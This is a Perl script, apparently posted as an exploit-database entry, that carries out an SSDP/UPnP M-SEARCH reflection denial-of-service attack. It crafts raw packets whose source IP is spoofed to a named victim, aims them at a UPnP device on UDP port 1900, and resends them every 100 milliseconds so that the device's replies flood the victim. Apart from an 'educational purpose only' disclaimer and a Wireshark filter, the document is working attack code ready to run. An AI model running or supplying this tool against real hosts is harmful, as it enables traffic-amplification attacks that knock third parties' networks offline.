UPNPD M-SEARCH – ssdp:discover Reflection Denial of Service
#!/usr/bin/perl # # upnpd M-SEARCH ssdp:discover reflection # # Copyright 2015 (c) Todor Donev # todor.donev@gmail.com # http://www.ethical-hacker.org/ # https://www.facebook.com/ethicalhackerorg # # The SSDP protocol can discover Plug & Play devices, # with uPnP (Universal Plug and Play). SSDP is HTTP # like protocol and work with NOTIFY and M-SEARCH # methods. # # # Disclaimer: # This or previous program is for Educational # purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the # fact that Todor Donev is not liable for any # damages caused by direct or indirect use of the # information or functionality provided by these # programs. The author or any Internet provider # bears NO responsibility for content or misuse # of these programs or any derivatives thereof. # By using these programs you accept the fact # that any damage (dataloss, system crash, # system compromise, etc.) caused by the use # of these programs is not Todor Donev's # responsibility. # # Use at your own risk and educational # purpose ONLY! # # Wireshark: # udp.port eq 1900 || frame contains "HTTP/1.1 200 OK" # # See also: # SSDP Reflection DDoS Attacks # http://tinyurl.com/mqwj6xt # use Socket; if ( $< != 0 ) { print "Sorry, must be run as root!\n"; print "This script use RAW Socket.\n"; exit; } my $ssdp = (gethostbyname($ARGV[0]))[4]; # IP Address Source (32 bits) my $victim = (gethostbyname($ARGV[1]))[4]; # IP Address Source (32 bits) print "[ upnpd M-SEARCH ssdp:discover reflection ]\n"; if (!defined $ssdp || !defined $victim) { print "[ Usage: $0 <upnpd> <victim>\n"; print "[ <todor.donev\@gmail.com> Todor Donev ]\n"; exit; } print "[ Sending SSDP packets: $ARGV[0] -> $ARGV[1]\n"; socket(RAW, PF_INET, SOCK_RAW, 255) or die $!; setsockopt(RAW, 0, 1, 1) or die $!; main(); # Main program sub main { my $packet; $packet = iphdr(); $packet .= udphdr(); $packet .= payload(); # b000000m... send_packet($packet); } # IP header (Layer 3) sub iphdr { my $ip_ver = 4; # IP Version 4 (4 bits) my $iphdr_len = 5; # IP Header Length (4 bits) my $ip_tos = 0; # Differentiated Services (8 bits) my $ip_total_len = $iphdr_len + 20; # IP Header Length + Data (16 bits) my $ip_frag_id = 0; # Identification Field (16 bits) my $ip_frag_flag = 000; # IP Frag Flags (R DF MF) (3 bits) my $ip_frag_offset = 0000000000000; # IP Fragment Offset (13 bits) my $ip_ttl = 255; # IP TTL (8 bits) my $ip_proto = 17; # IP Protocol (8 bits) my $ip_checksum = 0; # IP Checksum (16 bits) # IP Packet construction my $iphdr = pack( 'H2 H2 n n B16 h2 c n a4 a4', $ip_ver . $iphdr_len, $ip_tos, $ip_total_len, $ip_frag_id, $ip_frag_flag . $ip_frag_offset, $ip_ttl, $ip_proto, $ip_checksum, $victim, $ssdp ); return $iphdr; } # UDP header (Layer 4) sub udphdr { my $udp_src_port = 31337; # UDP Sort Port (16 bits) (0-65535) my $udp_dst_port = 1900; # UDP Dest Port (16 btis) (0-65535) my $udp_len = 8 + length(payload()); # UDP Length (16 bits) (0-65535) my $udp_checksum = 0; # UDP Checksum (16 bits) (XOR of header) # UDP Packet my $udphdr = pack( 'n n n n', $udp_src_port, $udp_dst_port, $udp_len, $udp_checksum ); return $udphdr; } # SSDP HTTP like (Layer 7) sub payload { my $data; $data .= "M-SEARCH * HTTP\/1.1\r\n"; # $data .= "HOST:239.255.255.250:1900\r\n"; # Multicast address $data .= "ST:upnp:rootdevice\r\n"; # Search target, search for root devices only $data .= "MAN:\"ssdp:discover\"\r\n"; # $data .= "MX:3\r\n\r\n"; # Seconds to delay response my $payload = pack('a' . length($data), $data); return $payload; } sub send_packet { while(1){ select(undef, undef, undef, 0.10); # Sleeping 100 milliseconds send(RAW, $_[0], 0, pack('Sna4x8', PF_INET, 60, $ssdp)) or die $!; } } |